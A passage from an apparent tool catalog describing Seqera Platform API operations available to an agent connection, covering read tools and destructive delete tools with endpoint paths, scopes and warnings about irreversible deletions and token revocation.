/api/v1/seqera/studios/{sessionId}/star. Scopes: api. seqera_delete_tokens_by_tokenid (write, destructive) — Delete token via DELETE /tokens/{tokenId}. Deletes the given API access token ID. Deleting the token this Agentic Fabriq connection was given breaks the connection immediately. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/tokens/{tokenId}. Scopes: api. seqera_delete_tokens_delete_all (write, destructive) — Delete all user tokens via DELETE /tokens/delete-all. Deletes all API access tokens in the user context. Deletes EVERY Platform access token this user holds, including the one this Agentic Fabriq connection was given -- the connection stops working at once, and so does anything else using a token from this account. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/tokens/delete-all. Scopes: api. seqera_delete_users_by_userid (write, destructive) — Delete a user entity via DELETE /users/{userId}. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/users/{userId}. Scopes: api. seqera_delete_workflow_by_workflowid (write, destructive) — Delete the Workflow entity with the given ID via DELETE /workflow/{workflowId}. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/workflow/{workflowId}. Scopes: api. seqera_delete_workflow_by_workflowid_star (write, destructive) — Unstar workflow via DELETE /workflow/{workflowId}/star. Removes the workflow identified by the given `workflowId` from your list of starred workflows. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/workflow/{workflowId}/star. Scopes: api. seqera_delete_workspaces_by_workspaceid_datasets_by_datasetid (write, destructive) — Delete dataset (workspace in the path) via DELETE /workspaces/{workspaceId}/datasets/{datasetId}. Deletes the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/workspaces/{workspaceId}/datasets/{datasetId}. Scopes: api. seqera_get_actions (read) — List actions via GET /actions. Lists all available actions in a user context, enriched by `attributes`. Append `?workspaceId` to list actions in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/actions. Scopes: api. seqera_get_actions_by_actionid (read) — Describe action via GET /actions/{actionId}. Retrieves the details of the action identified by the given `actionId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/actions/{actionId}. Scopes: api. seqera_get_actions_types (read) — List action event types via GET /actions/types. Lists the supported event types that trigger a pipeline action. Append `?workspaceId` to list event types in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/actions/types. Scopes: api. seqera_get_actions_validate (read) — Validate action name via GET /actions/validate. Confirms the validity of the given action name. Append `?name=<your_action_name>`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/actions/validate. Scopes: api. seqera_get_admin_audit_logs_v2 (read) — List audit logs (v2) via GET /admin/audit-logs-v2. Lists audit logs with token-based pagination, ordered by timestamp (descending). Supports filtering by timestamp range. GET /api/v1/seqera/admin/audit-logs-v2. Scopes: api. seqera_get_admin_audit_logs_v2_by_auditlogid (read) — Describe a single audit log (v2) via GET /admin/audit-logs-v2/{auditLogId}. Retrieves the pre/post change images associated with a specific audit log V2 record. GET /api/v1/seqera/admin/audit-logs-v2/{auditLogId}. Scopes: api. seqera_get_admin_audit_logs_v2_export_csv (read) — Export audit logs (v2) as CSV via GET /admin/audit-logs-v2/export-csv. Exports audit log entries as a CSV file. Supports filtering by timestamp range. Fails if the number of matching logs exceeds a certain maximum. GET /api/v1/seqera/admin/audit-logs-v2/export-csv. Scopes: api. seqera_get_agents (read) — List agents via GET /agents. Lists non-deleted agents in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/agents. Scopes: api. seqera_get_agents_by_agentid (read) — Describe agent via GET /agents/{agentId}. Retrieves an agent in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/agents/{agentId}. Scopes: api. seqera_get_agents_runs (read) — List agent runs via GET /agents/runs. Lists background agent runs in a workspace, newest first. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/agents/runs. Scopes: api. seqera_get_agents_runs_by_agentrunid_status (read) — Get agent run status via GET /agents/runs/{agentRunId}/status. Retrieves the current status and chat identifiers for a background agent run in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/agents/runs/{agentRunId}/status. Scopes: api. seqera_get_catalog_components_by_key_versions (read) — Catalog versions for a single component via GET /catalog/components/{key}/versions. As /versions but scoped to {key}; the same registered component compatibility-filter parameters apply (PF-2). GET /api/v1/seqera/catalog/components/{key}/versions. Scopes: api. seqera_get_catalog_versions (read) — Component compatibility catalog versions via GET /catalog/versions. Returns catalog versions with servedFrom provenance and observed deploymentVersions. Optionally narrowed to a single component and compatibility-constrained by registered component query parameters plus platform/nextflow/fusion/sched/wave deployment context, for example fusion=2.5 or connect=0.11.2 (comma-lists; AND across, OR within; edge-less params do not constrain). Unknown parameters and malformed expressions return 400; unknown selected components return 404. GET /api/v1/seqera/catalog/versions. Scopes: api. seqera_get_compute_envs (read) — List compute environments via GET /compute-envs. Lists all available compute environments in a user context. Append `?workspaceId` to list compute environments in a workspace context, and `?status` to filter by compute environment status. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/compute-envs. Scopes: api. seqera_get_compute_envs_by_computeenvid (read) — Describe compute environment via GET /compute-envs/{computeEnvId}. Retrieves the details of the compute environment identified by the given `computeEnvId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/compute-envs/{computeEnvId}. Scopes: api. seqera_get_compute_envs_validate (read) — Validate compute environment name via GET /compute-envs/validate. Confirms the validity of the given compute environment name in a user context. Append `?name=<your_ce_name>`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/compute-envs/validate. Scopes: api. seqera_get_credentials (read) — List credentials via GET /credentials. Lists all available credentials in a user context. Append `?workspaceId` to list credentials in a workspace context, and `?platformId` to filter credentials by computing platform. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/credentials. Scopes: api. seqera_get_credentials_by_credentialsid (read) — Describe credentials via GET /credentials/{credentialsId}. Retrieves the details of the credentials identified by the given `credentialsId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/credentials/{credentialsId}. Scopes: api. seqera_get_credentials_by_credentialsid_keys (read) — Get encrypted credentials via GET /credentials/{credentialsId}/keys. Retrieves the encrypted keys for the credentials identified by the given `credentialsId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/credentials/{credentialsId}/keys. Scopes: api. seqera_get_credentials_federation_setup (read) — Describe credential provider setup values via GET /credentials/federation-setup. Returns the labelled values an administrator copies into their cloud provider console to set up a credential of the given provider — for AWS OIDC workload identity: this installation's public address and the subject claims Platform mints. Scope-level rather than per-credential, because these values are needed before a credential can be created. Append `?workspaceId` for a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/credentials/federation-setup. Scopes: api. seqera_get_credentials_validate (read) — Validate credential name via GET /credentials/validate. Validates the given credentials name. Append `?name=<your_credential_name>`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/credentials/validate. Scopes: api. seqera_get_data_links (read) — List data-links via GET /data-links. Retrieves all available data-links in a user context. Append `?workspaceId={your-workspace-id}` to retrieve data-links in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links. Scopes: api. seqera_get_data_links_by_datalinkid (read) — Describe data-link via GET /data-links/{dataLinkId}. Retrieves the details of the data-link associated with the given `dataLinkId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}. Scopes: api. seqera_get_data_links_by_datalinkid_browse (read) — Explore data-link via GET /data-links/{dataLinkId}/browse. Retrieves the content of the data-link associated with the given `dataLinkId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}/browse. Scopes: api. seqera_get_data_links_by_datalinkid_browse_by_path (read) — Explore data-link path via GET /data-links/{dataLinkId}/browse/{path}. Retrieves the content of the data-link associated with the given `dataLinkId`, at the given `path`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}/browse/{path}. Scopes: api. seqera_get_data_links_by_datalinkid_browse_tree (read) — Explore a data-link tree via GET /data-links/{dataLinkId}/browse-tree. Provides a list of all files in the provided paths (including files in sub-paths). `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}/browse-tree. Scopes: api. seqera_get_data_links_by_datalinkid_generate_download_url (read) — Generate data-link file download URL via GET /data-links/{dataLinkId}/generate-download-url. Returns a URL to download files from the data-link associated with the given `dataLinkId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}/generate-download-url. Scopes: api. seqera_get_data_links_by_datalinkid_script_download (read) — Generate download script via GET /data-links/{dataLinkId}/script/download. Creates a script to download files from the data-link associated with the given `dataLinkId`. Append `?dirs` or `?files` to specify a list of files or paths to download within the data-link. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/{dataLinkId}/script/download. Scopes: api. seqera_get_data_links_cache_refresh (read) — Refresh data-link cache via GET /data-links/cache/refresh. Refreshes the data-link cache for the given `workspaceId` or `credentialsId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/data-links/cache/refresh. Scopes: api. seqera_get_datasets (read) — List datasets via GET /datasets. Lists all available datasets in a user context. Append `?workspaceId` to list datasets in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/datasets. Scopes: api. seqera_get_datasets_by_datasetid_metadata (read) — Describe dataset (v2, workspace as a query parameter) via GET /datasets/{datasetId}/metadata. Retrieves the metadata of the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/datasets/{datasetId}/metadata. Scopes: api. seqera_get_datasets_by_datasetid_v_by_version_preview (read) — Preview linked dataset content via GET /datasets/{datasetId}/v/{version}/preview. Fetches a partial preview of the content for a linked dataset version. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/datasets/{datasetId}/v/{version}/preview. Scopes: api. seqera_get_datasets_by_datasetid_versions (read) — List all dataset versions (v2, workspace as a query parameter) via GET /datasets/{datasetId}/versions. Lists all versions of the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/datasets/{datasetId}/versions. Scopes: api. seqera_get_datasets_versions (read) — List latest dataset versions (v2, workspace as a query parameter) via GET /datasets/versions. Lists the latest version of each dataset in the user context. Append `?workspaceId` to list latest versions in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/datasets/versions. Scopes: api. seqera_get_ga4gh_wes_v1_runs (read) — GA4GH: List runs via GET /ga4gh/wes/v1/runs. Uses the GA4GH workflow execution service API to list all run records. GET /api/v1/seqera/ga4gh/wes/v1/runs. Scopes: api. seqera_get_ga4gh_wes_v1_runs_by_run_id (read) — GA4GH: Describe run via GET /ga4gh/wes/v1/runs/{run_id}. Uses the GA4GH workflow execution service API to retrieve the details of the run assoiated with the given `run_id`. GET /api/v1/seqera/ga4gh/wes/v1/runs/{run_id}. Scopes: api. seqera_get_ga4gh_wes_v1_runs_by_run_id_status (read) — GA4GH: Retrieve run status via GET /ga4gh/wes/v1/runs/{run_id}/status. Uses the GA4GH workflow execution service API to retrieve the status of the run associated with the given `run_id`. GET /api/v1/seqera/ga4gh/wes/v1/runs/{run_id}/status. Scopes: api. seqera_get_ga4gh_wes_v1_service_info (read) — GA4GH workflow execution service API info via GET /ga4gh/wes/v1/service-info. GET /api/v1/seqera/ga4gh/wes/v1/service-info. Scopes: api. seqera_get_identities (read) — List Managed Identities via GET /identities. List all Managed Identities in an organization. GET /api/v1/seqera/identities. Scopes: api. seqera_get_identities_by_managedidentityid (read) — Describe a Managed Identity via GET /identities/{managedIdentityId}. Describe a Managed Identity in an organization. GET /api/v1/seqera/identities/{managedIdentityId}. Scopes: api. seqera_get_identities_by_managedidentityid_credentials (read) — List Managed Credentials via GET /identities/{managedIdentityId}/credentials. List Managed Credentials belonging to a Managed Identity. GET /api/v1/seqera/identities/{managedIdentityId}/credentials. Scopes: api. seqera_get_labels (read) — List labels via GET /labels. Lists all available labels in a user context. Append `?workspaceId` to list labels in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/labels. Scopes: api. seqera_get_labels_dynamic_allowed (read) — List allowed dynamic labels via GET /labels/dynamic/allowed. GET /api/v1/seqera/labels/dynamic/allowed. Scopes: api. seqera_get_launch_by_launchid (read) — Describe Launch record via GET /launch/{launchId}. Retrieves the details of the launch identified by the given `launchId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/launch/{launchId}. Scopes: api. seqera_get_launch_by_launchid_datasets (read) — Describe launch datasets via GET /launch/{launchId}/datasets. Retrieves the details of the datasets used in the launch identified by the given `launchId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/launch/{launchId}/datasets. Scopes: api. seqera_get_lineage_by_lid (read) — Get the full Nextflow lineage record from the object store via GET /lineage/{lid}. Always reads the record from the lineage object store (golden source). For the slim denormalized projection, use `/lineage/{lid}/summary` instead. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/lineage/{lid}. Scopes: api. seqera_get_lineage_by_lid_downstream (read) — Data-flow navigation one hop downstream from a lineage record via GET /lineage/{lid}/downstream. Returns records produced / consumed by `{lid}`. Supports optional `type` filter. WorkflowRun is not a node in data-flow navigation — use /search?q=workflow:{lid} instead. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/lineage/{lid}/downstream. Scopes: api. seqera_get_lineage_by_lid_summary (read) — Get the slim index projection for a lineage record via GET /lineage/{lid}/summary. Returns a thin projection ({name, path|sessionId|workflowRun, labels}) served directly from the index — no object-store read. 404 when no index row exists for the LID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/lineage/{lid}/summary. Scopes: api. seqera_get_lineage_by_lid_upstream (read) — Data-flow navigation one hop upstream from a lineage record via GET /lineage/{lid}/upstream. Returns records that produce / feed into `{lid}`. Supports optional `type` filter. WorkflowRun is not a node in data-flow navigation — use /search?q=workflow:{lid} instead. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/lineage/{lid}/upstream. Scopes: api. seqera_get_lineage_resolve (read) — Resolve a platform identifier to a lineage LID via GET /lineage/resolve. Resolves a Nextflow run or file path to a lineage LID. Exactly one of sessionId or filePath must be provided. A run is identified by sessionId *and* runName: a resumed run inherits the parent run's sessionId but produces its own lineage record. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/lineage/resolve. Scopes: api. seqera_get_lineage_search (read) — Search lineage records across a selectable set of accessible workspaces via GET /lineage/search. Cross-workspace lineage search. The `q` DSL uses a simple set of conventions: whitespace = AND, a comma inside a qualifier = OR, and repeating a qualifier = AND. Filter the lineage index by `type:`, `workflow:`, `task:`, `pipeline:`, `pipelineId:`, `label:`, and/or free-text tokens. Workspace scope is expressed inside the DSL: `workspace:org/name` or the numeric `workspaceId:` alias. Omit both to search every accessible workspace. GET /api/v1/seqera/lineage/search. Scopes: api. seqera_get_orgs (read) — List organizations via GET /orgs. Lists all available organizations in a user context. GET /api/v1/seqera/orgs. Scopes: api. seqera_get_orgs_by_orgid (read) — Describe organization via GET /orgs/{orgId}. Retrieves the details of the organization identified by the given `orgId`. GET /api/v1/seqera/orgs/{orgId}. Scopes: api. seqera_get_orgs_by_orgid_collaborators (read) — List organization collaborators via GET /orgs/{orgId}/collaborators. Lists the collaborators of the organization identified by the given `orgId`. GET /api/v1/seqera/orgs/{orgId}/collaborators. Scopes: api. seqera_get_orgs_by_orgid_idp_groups (read) — List IdP groups for an organization via GET /orgs/{orgId}/idp-groups. Returns the IdP group catalog for the organization, including both SCIM-pushed and manually entered groups. GET /api/v1/seqera/orgs/{orgId}/idp-groups. Scopes: api. seqera_get_orgs_by_orgid_members (read) — List organization members via GET /orgs/{orgId}/members. Lists the members of the organization identified by the given `orgId`. GET /api/v1/seqera/orgs/{orgId}/members. Scopes: api. seqera_get_orgs_by_orgid_quotas (read) — Describe organization quotas via GET /orgs/{orgId}/quotas. Retrieves the details of the organization quotas identified by the given `orgId`. GET /api/v1/seqera/orgs/{orgId}/quotas. Scopes: api. seqera_get_orgs_by_orgid_scim_config (read) — View SCIM configuration via GET /orgs/{orgId}/scim/config. Returns the SCIM configuration for the organization, including token metadata, group count, and SSO state. Accessible to all org members (read access). GET /api/v1/seqera/orgs/{orgId}/scim/config. Scopes: api. seqera_get_orgs_by_orgid_teams (read) — List organization teams via GET /orgs/{orgId}/teams. Lists all teams in the organization identified by the given `orgId`. GET /api/v1/seqera/orgs/{orgId}/teams. Scopes: api. seqera_get_orgs_by_orgid_teams_by_teamid (read) — Describe team via GET /orgs/{orgId}/teams/{teamId}. Retrieves the details of the team identified by the given `teamId`. GET /api/v1/seqera/orgs/{orgId}/teams/{teamId}. Scopes: api. seqera_get_orgs_by_orgid_teams_by_teamid_members (read) — List team members via GET /orgs/{orgId}/teams/{teamId}/members. Lists the team members associated with the given `teamId`. GET /api/v1/seqera/orgs/{orgId}/teams/{teamId}/members. Scopes: api. seqera_get_orgs_by_orgid_teams_by_teamid_workspaces (read) — List team workspaces via GET /orgs/{orgId}/teams/{teamId}/workspaces. Lists all the workspaces of which the given `teamId` is a participant. GET /api/v1/seqera/orgs/{orgId}/teams/{teamId}/workspaces. Scopes: api. seqera_get_orgs_by_orgid_teams_validate (read) — Validate team name via GET /orgs/{orgId}/teams/validate. Confirms the validity of the given team name. Append `?name=<your_team_name>`. GET /api/v1/seqera/orgs/{orgId}/teams/validate. Scopes: api. seqera_get_orgs_by_orgid_users_by_userid_roles (read) — List all user roles and permissions in an organization via GET /orgs/{orgId}/users/{userId}/roles. List all user roles and permissions in an organization; also list the sources of those roles (via team assignment or direct user assignment). GET /api/v1/seqera/orgs/{orgId}/users/{userId}/roles. Scopes: api. seqera_get_orgs_by_orgid_workspaces (read) — List organization workspaces via GET /orgs/{orgId}/workspaces. Lists the organization workspaces in `orgId` to which the requesting user belongs. GET /api/v1/seqera/orgs/{orgId}/workspaces. Scopes: api. seqera_get_orgs_by_orgid_workspaces_by_workspaceid (read) — Describe workspace via GET /orgs/{orgId}/workspaces/{workspaceId}. Retrieves the details of the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}. Scopes: api. seqera_get_orgs_by_orgid_workspaces_by_workspaceid_participants (read) — List workspace participants via GET /orgs/{orgId}/workspaces/{workspaceId}/participants. Lists the participants of the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/participants. Scopes: api. seqera_get_orgs_by_orgid_workspaces_by_workspaceid_settings_studios (read) — List workspace Studios settings via GET /orgs/{orgId}/workspaces/{workspaceId}/settings/studios. Retrieves the Studios settings of the workspace identified by the given `workspaceId`. Takes no body, although Seqera's own contract declares one: the entry carries the request body of the PUT on the same path (`UpdateWorkspaceRequest`, 'Workspace update request') while its own description reads 'Retrieves the Studios settings ...' and does not mark the body required. Use Update workspace Studios settings to change them. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/settings/studios. Scopes: api. seqera_get_orgs_by_orgid_workspaces_validate (read) — Validate workspace name via GET /orgs/{orgId}/workspaces/validate. Confirms the validity of the given workspace name. Append `?name=<your_workspace_name>`. GET /api/v1/seqera/orgs/{orgId}/workspaces/validate. Scopes: api. seqera_get_orgs_validate (read) — Validate organization name via GET /orgs/validate. Confirms the validity of the given organization name. Append `?name=<your_org_name>`. GET /api/v1/seqera/orgs/validate. Scopes: api. seqera_get_pipeline_secrets (read) — List pipeline secrets via GET /pipeline-secrets. Lists all available pipeline secrets in a user context. Append `?workspaceId` to list secrets in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipeline-secrets. Scopes: api. seqera_get_pipeline_secrets_by_secretid (read) — Describe pipeline secret via GET /pipeline-secrets/{secretId}. Retrieves the details of the pipeline secret identified by the given `secretId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipeline-secrets/{secretId}. Scopes: api. seqera_get_pipeline_secrets_validate (read) — Validate secret name via GET /pipeline-secrets/validate. Confirms the validity of the given pipeline secret name in a user context. Append `?name=<your_secret_name>`. Append `?workspaceId` to validate the name in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipeline-secrets/validate. Scopes: api. seqera_get_pipelines (read) — List pipelines via GET /pipelines. Lists all available pipelines in a user context, enriched by `attributes`. Append `workspaceId` to list pipelines in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines. Scopes: api. seqera_get_pipelines_by_pipelineid (read) — Describe pipeline via GET /pipelines/{pipelineId}. Retrieves the details of the pipeline identified by the given `pipelineId`, enriched by `attributes`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/{pipelineId}. Scopes: api. seqera_get_pipelines_by_pipelineid_launch (read) — Describe pipeline launch via GET /pipelines/{pipelineId}/launch. Retrieves the launch details of the pipeline identified by the given `pipelineId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/{pipelineId}/launch. Scopes: api. seqera_get_pipelines_by_pipelineid_schema (read) — Describe pipeline schema via GET /pipelines/{pipelineId}/schema. Retrieves the pipeline schema of the pipeline identified by the given `pipelineId`, enriched by `attributes`. `200 - OK` responses include the pipeline schema. `204 - OK` responses indicate a successful request, with no saved schema found for the given pipeline ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/{pipelineId}/schema. Scopes: api. seqera_get_pipelines_by_pipelineid_versions (read) — List pipeline versions via GET /pipelines/{pipelineId}/versions. Lists all available pipeline versions in a user context. Append `workspaceId` to list pipeline versions in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/{pipelineId}/versions. Scopes: api. seqera_get_pipelines_by_pipelineid_versions_validate (read) — Validate pipeline version name via GET /pipelines/{pipelineId}/versions/validate. Confirms the validity of the given pipeline version `name` in a user context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/{pipelineId}/versions/validate. Scopes: api. seqera_get_pipelines_info (read) — Describe remote pipeline repository via GET /pipelines/info. Retrieves the details of a remote Nextflow pipeline Git repository. Append the repository name or full URL with `?name`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/info. Scopes: api. seqera_get_pipelines_repositories (read) — List user pipeline repositories via GET /pipelines/repositories. Lists known Nextflow pipeline Git repositories, extracted from existing runs. Append `?workspaceId` to list repositories in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/repositories. Scopes: api. seqera_get_pipelines_validate (read) — Validate pipeline name via GET /pipelines/validate. Confirms the validity of the given pipeline `name` in a user context. Append `?name=<your_pipeline_name>`. Append `?workspaceId` to validate the name in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/pipelines/validate. Scopes: api. seqera_get_platform_versions (read) — Nextflow version catalog via GET /platform/versions. Returns the system-wide catalog of selectable Nextflow versions and the per-run version-selection policy used by the launch form. GET /api/v1/seqera/platform/versions. Scopes: api. seqera_get_platforms (read) — List platforms via GET /platforms. Lists all available computing platforms in a user context. Append `?workspaceId` to list platforms in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/platforms. Scopes: api. seqera_get_platforms_by_platformid (read) — Describe platform via GET /platforms/{platformId}. Retrieves the details of the computing platform identified by the given `platformId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/platforms/{platformId}. Scopes: api. seqera_get_platforms_by_platformid_regions (read) — List platform regions via GET /platforms/{platformId}/regions. Lists the available regions for the computing platform identified by the given `platformId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/platforms/{platformId}/regions. Scopes: api. seqera_get_roles (read) — List all roles via GET /roles. GET /api/v1/seqera/roles. Scopes: api. seqera_get_roles_by_rolename (read) — Describe role and its permissions fetching by role name via GET /roles/{roleName}. GET /api/v1/seqera/roles/{roleName}. Scopes: api. seqera_get_roles_permissions (read) — List all role permissions available in the system via GET /roles/permissions. GET /api/v1/seqera/roles/permissions. Scopes: api. seqera_get_roles_validate (read) — Validate if a role name is available within the organization via GET /roles/validate. GET /api/v1/seqera/roles/validate. Scopes: api. seqera_get_service_info (read) — General Seqera service features and version. via GET /service-info. Answers 200 with NO credential at all, and with an invalid one -- measured 2026-09-27 against api.cloud.seqera.io with no Authorization header and with a bogus bearer, byte-identical replies. So a 200 here says the deployment is reachable and says NOTHING about this connection's token. The credential probe deliberately uses Describe the current user instead. GET /api/v1/seqera/service-info. Scopes: api. seqera_get_ssh_keys (read) — List SSH keys via GET /ssh-keys. Retrieves the list of all SSH public keys for the authenticated user. GET /api/v1/seqera/ssh-keys. Scopes: api. seqera_get_ssh_keys_by_keyid (read) — Describe SSH key via GET /ssh-keys/{keyId}. Retrieves the details of an SSH public key by its ID. GET /api/v1/seqera/ssh-keys/{keyId}. Scopes: api. seqera_get_ssh_keys_validate_key (read) — Validate SSH key via GET /ssh-keys/validate/key. Confirms the availability of the given key for a SSH key in the user context. GET /api/v1/seqera/ssh-keys/validate/key. Scopes: api. seqera_get_ssh_keys_validate_name (read) — Validate SSH key name via GET /ssh-keys/validate/name. Confirms the availability of the given name for a SSH key in the user context. GET /api/v1/seqera/ssh-keys/validate/name. Scopes: api. seqera_get_studios (read) — List Studios via GET /studios. Lists all available Studios in a user context. Append `?workspaceId` to list Studios in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios. Scopes: api. seqera_get_studios_by_sessionid (read) — Describe Studio via GET /studios/{sessionId}. Retrieves the details of the Studio session identified by the given `sessionId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/{sessionId}. Scopes: api. seqera_get_studios_by_sessionid_checkpoints (read) — List Studio checkpoints via GET /studios/{sessionId}/checkpoints. Retrieves the list of checkpoints for the given Studio session ID, sorted by creation date in descending order. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/{sessionId}/checkpoints. Scopes: api. seqera_get_studios_by_sessionid_checkpoints_by_checkpointid (read) — Get Studio checkpoint via GET /studios/{sessionId}/checkpoints/{checkpointId}. Retrieves the details of the given Studio checkpoint ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/{sessionId}/checkpoints/{checkpointId}. Scopes: api. 